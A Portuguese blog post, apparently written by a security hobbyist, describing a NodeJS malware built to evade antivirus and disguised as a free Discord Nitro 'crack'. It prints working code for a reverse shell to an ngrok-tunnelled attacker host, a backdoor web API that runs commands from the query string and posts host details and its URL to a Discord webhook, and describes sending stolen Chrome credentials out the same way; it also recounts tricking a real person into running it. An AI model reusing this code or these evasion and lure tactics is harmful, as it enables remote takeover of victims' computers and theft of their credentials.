bWFsd2FyZQ==

“Door on your left. [Neo goes right] Your other left!“

Assim que um arquivo é escrito em um disco, a maioria dos antivírus transformam esse arquivo em uma hash (geralmente MD5) e compara com um banco de hashes deles. Se essa hash for igual a uma hash conhecida, então o antivírus encontrou um software malicioso.

Existem outras formas de detecção, como capturar trechos de código (bytes) e comparar com trechos de códigos maliciosos já registrados. Como analisar se alguma porta foi aberta ou uma conexão suspeita foi feita.

Sabendo disso, é possível pensarmos em formas de burlar essa detecção dos antivírus. Algumas formas conhecidas são transformar o código malicioso em base64 ou escapar os caracteres de uma forma que eles só serão lidos da maneira correta, na hora que o software for executado. Nesse caso, um antivírus que faz a análise de trecho de código, não conseguirá detectar nada. Outro ponto seria criar um vírus que não exista, assim nenhum banco de dados de antivírus terá um registro dele.

Para realizar este estudo, escolhi NodeJS por alguns motivos:

• Não existem muitos vírus escritos em NodeJS nas bases de dados dos antivírus mais conhecidos.
• O NodeJS nada mais é que um framework que executa códigos Javascript dentro de uma máquina virtual (v8), a mesma máquina utilizado pelo Chrome. Isso pode ser utilizado como uma camada a mais de "segurança" para nós, na hora de explorarmos a máquina de uma vítima. Garantindo que o antivírus tenha dificuldade de identificar os códigos.
• Existe uma lib chamada pkg que permite gerar arquivos executáveis a partir de códigos javascript.

Todos os pontos acima me dão garantia que será muito difícil que meu vírus seja detectado por um antivírus de mercado. No link abaixo, o vírus escrito foi testado por 67 antivírus e nenhum detectou uma atividade suspeita sequer.

• Virus Total

O vírus que escrevi possuem 4 funcionalidades:

1. Abrir o aplicativo Discord.
2. Criar uma conexão reversa no computador da vítima com a minha máquina de ataque.
3. Criar um backdoor no computador da vítima.
4. Roubar as credenciais salvas no Chrome.

Um vírus não precisa fazer tudo isso, eu coloquei ele realizando diversas ações maliciosas para demonstrar como nós estamos sujeitos a este tipo de ataque.

1 - Abrir o aplicativo Discord

Adicionei essa funcionalidade para servir de apoio para a engenharia social que utilizei para testar o vírus em campo. Basicamente eu conversei com uma pessoa, dizendo que havia escrito um "crack" para o Discord, onde você poderia utilizar recursos do Discord Nitro de graça. Basta executar o arquivo e pronto.

Asim que a vítima executar o arquivo, a primeira coisa que eu faço é abrir o Discord e deixar ele em foco. Enquanto por trás dos panos, o meu vírus é executado.

Código:

const openDiscord = async () => {
  const discordPath = process.env.LOCALAPPDATA + "\\Discord\\"
  const dir = require("fs")
    .readdirSync(discordPath)
    .find((dir) => dir.indexOf("app-") > -1)

  const fullPath = discordPath + dir + "\\Discord.exe"
  require("child_process").spawnSync(fullPath)
}

2 - Criar uma conexão reversa no computador da vítima com a minha máquina de ataque.

Quando a vítima executar o arquivo, o vírus utilizará um módulo nativodo NodeJS para criar uma conexão TCP com a minha máquina de ataque. Para isso ocorrer, é necessário que a máquina de ataque esteja aguardando essa conexão em alguma porta. Para isso, utilizo um software no linux chamado NC pelo terminal.

$ nc -lnvp 3000

Para expor essa minha porta na internet, utilizo a lib Ngrok que cria um tunnel da porta 3000 para uma URL publica.

O código executado pelo vírus fica mais ou menos assim:

const HOST = "ngrok.tcp.host"
const PORT = "ngrok.tcp.port"

const net = require("net"),
  cp = require("child_process"),
  sh = cp.spawn("cmd", [])

const client = new net.Socket()

client.connect(PORT, HOST, function () {
  client.pipe(sh.stdin)
  sh.stdout.pipe(client)
  sh.stderr.pipe(client)
})

Assim que a conexão for feita, do terminal da minha máquina de ataque, terei acesso ao terminal da máquina da vítima. Tudo o que o usuário que executou o vírus puder acessar, também poderei acessar pelo meu terminal, criando assim uma conexão reversa.

3. Criar um backdoor no computador da vítima.

Existem diversas formas de abrir um backdoor na máquina de uma vítima. Escolhi esse fluxo para tentar assemelhar ao máximo com o funcionamento de uma API comum. Nesse caso, o vírus cria uma API na máquina da vítima, com uma rota que receberá comandos pela query string, que serão executados no terminal. Para ter acesso a essa API através da internet, o vírus cria um tunnel na porta da API e depois envia através do Discord a URL publica que será usada na invasão.

Código:

const os = require("os")
const express = require("express")
const simpleExec = require("simple-exec")
const localtunnel = require("localtunnel")
const { Webhook } = require("discord-webhook-node")

const app = express()

const createTunnel = async (port) => {
  return localtunnel(port)
}

exports.back = (port, webhookUrl) => {
  const webhook = new Webhook(webhookUrl)

  app.get("/cmd", (req, res) => {
    const { exec } = req.query

    const result = simpleExec.executeSync(exec)

    if (result.error) {
      res.send({ response: result.error })
    } else {
      res.send({ response: result.output })
    }
  })

  app.listen(port, async () => {
    const tunnel = await createTunnel(port)
    webhook.send(
      "```" +
        `OS Name: ${os.hostname()}\nOS Username: ${os.userInfo().username}\nOS UID: ${os.userInfo().uid}\nOs Home Directory: ${
          os.userInfo().homedir
        }\nOS Platform: ${os.platform()}\nLink: ${tunnel.url}` +
        "```"
    )
  })
}

4. Roubar as credenciais salvas no Chrome.

Aqui eu basicamente faço o que fiz no post anterior a única diferença é que eu envio um webhook para o meu canal do Discord com as credenciais capturadas.

Como passo final, utilizo a lib pkg para gerar um executável a partir dos meus arquivos javascript.

No final do post tem o link do respositório.

Para provar que o vírus funciona em qualquer máquina Windows (que não seja a minha de testes), resolvi testar com uma pessoa real.

Depois do teste eu expliquei do que se tratava e a pessoa concordou em deixar publicar os prints. Mas claro, escondi as informações sensíveis.

Assim que ele executou a aplicação, comecei a receber os Webhooks com as informações capturadas:

1 - Informações sobre a máquina da vítima.

2 - Conexão reversa.

Em uma aba executei o comando para deixar em modo de escuta a porta 3000.

$ nc -lnvp 3000

Em outra aba, criei o tunnel da minha porta 3000.

Assim que a conexão foi feita, rodei dois comandos direto na máquina da vítima. Um para descobrir qual o nome do usuário logado e o outro para listar o ip (mesmo que seja o ip local).

3 - Backdoor.

4 - Senhas salvas no Chrome que foram capturadas...

Conclusão.

Tomem muito cuidado com arquivos que baixados da internet. Principalmente de e-mails, existem milhares de agentes malicioso que disparam e-mails em massa com campanhas de Phishing com arquivos PDF, XLS, etc ... que por trás dos panos podem estar roubando informações de sua máquina.

Imaginem o estrago que esse vírus poderia fazer, se na máquina da vítima tivesse alguma senha de banco salva. Ou pior, se o vírus criasse um backdoor em forma de serviço, de modo que o atacante pudesse acessar a máquina sempre que a vítima se conectasse na internet. Ele teria tempo suficiente para explorar a máquina e criar um script que faz um scrap de sites como Caixa, Itaú, etc.. e conseguiria fazer transações PIX, TED ou qualquer outro tipo.

Tomem cuidado e espero ter conseguido demonstrar com clareza os passos que segui para estudar e criar o malware.

Projeto no Github: https://github.com/nulldreams/bypassjs